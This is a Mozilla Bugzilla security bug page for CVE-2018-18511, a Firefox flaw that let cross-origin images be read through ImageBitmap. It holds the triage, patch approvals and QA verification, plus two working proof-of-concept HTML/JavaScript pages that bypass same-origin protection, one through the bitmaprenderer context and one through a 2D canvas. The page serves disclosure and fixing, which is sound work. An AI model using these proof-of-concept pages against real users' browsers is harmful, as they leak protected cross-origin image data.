Closed Bug 1526218 (CVE-2018-18511) Opened 6 years ago Closed 5 years ago

Tainted canvases can be rendered in a bitmap context

Categories

(Core :: Graphics: Canvas2D, defect)

Product:
Core
Component:
Graphics: Canvas2D
Version:
65 Branch
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
VERIFIED FIXED
Milestone:
mozilla67
Tracking Flags:
Tracking Status
firefox-esr60 67+ fixed
firefox65 + verified
firefox66 + verified
firefox67 + verified

People

(Reporter: aayla.secura.1138, Assigned: baku)

References

(Regression)

Details

(4 keywords, Whiteboard: [adv-main65.0.1+][adv-esr60.7+])

Attachments

(3 files, 2 obsolete files)

PoC from comment 0
640 bytes, text/html
Details
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,
47 bytes, text/x-phabricator-request
RyanVM
: approval-mozilla-beta+
RyanVM
: approval-mozilla-release+
lizzard
: approval-mozilla-esr60+
abillings
: sec-approval+
Details | Review
taint-various-sources.html
3.71 KB, text/html
Details

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36

Steps to reproduce:

If the crossorigin attribute is not specified for an image, the image may be
rendered in a bitmap canvas; the data can be accessced by JavaScript.
A proof of concept is shown below.

<html><body>
  <script charset="utf-8">
    function getData() {
      createImageBitmap(this, 0, 0, this.naturalWidth,
        this.naturalHeight).then(function(bmap) {
        var can = document.createElement('canvas');
        var ctx = can.getContext('bitmaprenderer');
        ctx.transferFromImageBitmap(bmap);
        document.getElementById('result').textContent = can.toDataURL();
      }); }
  </script>
  <img src="https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png" onload="getData.call(this)"/>
  <br/><textarea readonly style="width:100%;height:10em" id="result"></textarea>
</body></html>

Actual results:

The image, which should not be accessible to JavaScript from origins other than
https://duckduckgo.com is in fact rendered in the tainted canvas and its
base64-encoded contents are displayed.

Images on external domains protected by cookies or IP whitelisting can
therefore be stolen using Cross-site Request Forgery even if the target server
does not give CORS access to other domains.

Expected results:

An error should have been thrown similar to the error shown when rendering tainted canvases in a 2D context:
"The operation is insecure."

Apologies, typo in "Actual results": the image should not be accessible to origins other than https://duckduckgo.com

Thank you for reporting this bug, AaylaSecura. I have confirmed this to be an security problem (rated sec-high in accordance with previous canvas bugs and our Security Severity Ratings).
I have also nominated this bug for a bug bounty.

I'm moving this in the Canvas 2D component and will include people who have worked on Canvas-related Same Origin Policy bypasses in the past.

Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: sec-bounty?
Keywords: csectype-sop, sec-high
Group: firefox-core-security → core-security
Component: Untriaged → Canvas: 2D
Product: Firefox → Core
Group: core-security → gfx-core-security

This works fine in ESR-60, or at least I don't get the image out. I don't see the expected error in the web or browser console. On Chrome you do get a URL back, but it's of the blank canvas.

Regressed sometime between 60 and 65.

Flags: needinfo?(lsalzman)
Keywords: regression

Baku, I just noticed that you implemented the origin-clean algorithm for ImageBitmap.
It seems there are is a gap when using createImageBitmap() on cross-origin <img> elements. Can you take a look?

From a cursory glance, it seems like ImageBitmap::Create() should inspect the parameter const ImageBitmapSource& aSrc, whether it contains cross-origin data and then set the mWriteOnly flag.
I have not checked whether transferFromImageBitmap() checks the flag, so this would need to be ensured as well.
It seems there are no tests, for cross-origin tainting and ImageBitmaps. Would be great if we could have this in web-platform-tests.

Flags: needinfo?(lsalzman) → needinfo?(amarchesini)

Patch ready. But follow up would be to apply the spec correctly when the bitmap is not provided:

https://html.spec.whatwg.org/multipage/canvas.html#set-an-imagebitmaprenderingcontext's-output-bitmap
" If a bitmap argument was not provided, then:
Set context's bitmap mode to blank.
Let canvas be the canvas element to which context is bound.
Set context's output bitmap to be transparent black with an intrinsic width equal to the numeric value of canvas's width attribute and an intrinsic height equal to the numeric value of canvas's height attribute, those values being interpreted in CSS pixels.
Set the output bitmap's origin-clean flag to true."

Flags: needinfo?(amarchesini)

Will this cover the two WebGl paths aosmond worried about in bug 1502799 comment 2? Are there tests for those?

Assignee: nobody → amarchesini
Flags: needinfo?(amarchesini)
Attached file variation of PoC for video elements (obsolete) —

Let's make sure we're also fixing <video> elements.

Baku, it seems that this patch ensure we correctly propagate the taint flag (mWriteOnly) when we call transferFromImageBitmap(), but I'm concerned that the flag isn't corretly set up when we create it with createImageBitmap() in the first place.

Comment on attachment 9042992 [details]
variation of PoC for video elements

Nevermind.
I can confirm that Baku's patch stops the `<video>` variant as well as the original PoC with `<img>`.
(We should still add tests for both.)

Will this cover the two WebGl paths aosmond worried about in bug 1502799 comment 2? Are there tests for those?

That part is fine. As the reviewer asked, I added a check. See: https://searchfox.org/mozilla-central/rev/00c0d068ece99717bea7475f7dc07e61f7f35984/dom/canvas/WebGLTextureUpload.cpp#221-224

I have a test. I can attach it as a separate patch.

Flags: needinfo?(amarchesini)

Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,

Beta/Release Uplift Approval Request

Feature/Bug causing the regression

Bug 1502799

User impact if declined

Images can be read from cross-origin JS

Is this code covered by automated tests?

No

Has the fix been verified in Nightly?

No

Needs manual test from QE?

No

If yes, steps to reproduce

STR is in the description. I also submitted a separate patch with a test.

List of other uplifts needed

None

Risk to taking this patch

Low

Why is the change risky/not risky? (and alternatives if risky)

The security check was simply missing.

String changes made/needed

Attachment #9042985 - Flags: approval-mozilla-beta?

Can you request sec-approval? Thanks.

Flags: needinfo?(amarchesini)

Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,

Security Approval Request

How easily could an exploit be constructed based on the patch?

It's easy to reproduce the issue, but there are no crashes involved. No exploits are possible.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

No

Which older supported branches are affected by this flaw?

65

If not all supported branches, which bug introduced the flaw?

Bug 1502799

Do you have backports for the affected branches?

No

If not, how different, hard to create, and risky will they be?

very easy.

How likely is this patch to cause regressions; how much testing does it need?

none.

Flags: needinfo?(amarchesini)
Attachment #9042985 - Flags: sec-approval?

Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,

sec-approval+ for trunk.

Attachment #9042985 - Flags: sec-approval? → sec-approval+

Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,

[Triage Comment]
Fixes a new sec issue introduced in Fx65. Approved for 66.0b7 and 65.0.1.

Attachment #9042985 - Flags: approval-mozilla-release+
Attachment #9042985 - Flags: approval-mozilla-beta?
Attachment #9042985 - Flags: approval-mozilla-beta+

https://hg.mozilla.org/releases/mozilla-beta/rev/d9a3fc93437f
https://hg.mozilla.org/releases/mozilla-release/rev/129c513995ea

Let's get QA to verify this as well until we can land the automated test.

Group: gfx-core-security → core-security-release
status-firefox65: affected → fixed
status-firefox66: affected → fixed
Flags: qe-verify+
Flags: in-testsuite?

https://hg.mozilla.org/mozilla-central/rev/1dc5c6572cf1

Status: NEW → RESOLVED
Closed: 5 years ago
status-firefox67: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla67
Alias: CVE-2018-18511

Baku, is it possible to have unit tests for this to catch future regressions (after we ship this security fix)?

Flags: needinfo?(amarchesini)

Yes, there is a separate patch with a test.

Flags: needinfo?(amarchesini)
Whiteboard: [qa-triaged]

Reproduced this issue with the FF Nightly from 2019-02-08.

Verified-fixed on 66.0b7 ,65.0.1. and the latest FF Nightly 67.0a1 on Windows 10x64,macOS 10.11 and macOS 10.13.

Status: RESOLVED → VERIFIED
status-firefox65: fixed → verified
status-firefox66: fixed → verified
status-firefox67: fixed → verified
Flags: qe-verify+

btw, I have verified and audited that we set up the taint flag correctly in the first place, when we create an ImageBitmap from a ImageBitmapSource in the first place.
The allowed types are (Canvas bitmap renderer, canvas 2d context, other ImageBitmap, Blob, <video>, <img>, svg <image> and theoretically offscreencanvas, though we do not support non-webgl contexts yet).

I think there's value in having automated tests to ensure for all supported inputs, even though I have either tested or manually verified through souce code inspections. I'm attaching my draft which is unfortunately neither mochitest nor wpt.

Attachment #9042992 - Attachment is obsolete: true

I found another way to get a cross-origin image. Not sure if I should open a new bug for this, since it's not related to the bitmap context, or simply rename this one: "Exporting of tainted canvases via ImageBitmap".

Basically, creating an ImageBitmap from the same image (not loaded with CORS support) and then rendering it in a 2D canvas gives JS access to the data. Quite strange, given that drawing the ImageBlob (<img> element) directly onto a 2D canvas gives an "Insecure operation"

PoC (tested on 65.0.1 after msfa2019-04 patch), almost identical to the original one for bitmap canvas:

<html><body>
  <script charset="utf-8">
    function getData() {
      createImageBitmap(this, 0, 0, this.naturalWidth,
        this.naturalHeight).then(function(bmap) {
        var can = document.createElement('canvas');
        // msfa2019-04 fixed this
        // var ctx = can.getContext('bitmaprenderer');
        // ctx.transferFromImageBitmap(bmap);
        // but not this
        var ctx = can.getContext('2d');
        ctx.drawImage(bmap, 0, 0);
        document.getElementById('result').textContent = can.toDataURL();
        var img = document.getElementById('result_render');
        img.src = can.toDataURL();
        document.body.appendChild(img);
      }); }
  </script>
  <img style="visibility: hidden" src="https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png" onload="getData.call(this)"/>
  <br/><textarea readonly style="width:100%;height:10em" id="result"></textarea>
  <br/>Re-rendered image: <br/><img id="result_render"></textarea>
</body></html>

Perhaps creating an ImageBitmap from a non-CORS image should be forbidden in the first place?

See Also: → CVE-2019-9797

Filing as new. See bug 1528909.

Mind keeping me in the loop on the new bug too? TIA :)

Flags: sec-bounty? → sec-bounty+
Attachment #9043009 - Attachment is obsolete: true
QA Whiteboard: [qa-triaged]
Whiteboard: [qa-triaged]

Link to the relevant blog post, as agreed: https://research.aurainfosec.io/same-origin-policy/

No longer blocks: 1502799
Regressed by: 1502799

I'd like to take this for ESR60.7 as well. Can you request uplift? thanks!

status-firefox-esr60: unaffected → ?
tracking-firefox-esr60: --- → ?
Flags: needinfo?(amarchesini)

Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration:
  • User impact if declined: cross-origin image data can be exposed to content
  • Fix Landed on Version: 65
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Good tests and in nightly for a while.
  • String or UUID changes made by this patch: none
Flags: needinfo?(amarchesini)
Attachment #9042985 - Flags: approval-mozilla-esr60?

Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,

Fix for sec-high issue, OK for ESR 60.7 uplift.

Attachment #9042985 - Flags: approval-mozilla-esr60? → approval-mozilla-esr60+
Whiteboard: [adv-main65.0.1+][adv-esr60.7+]
Group: core-security-release
Has Regression Range: --- → yes
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: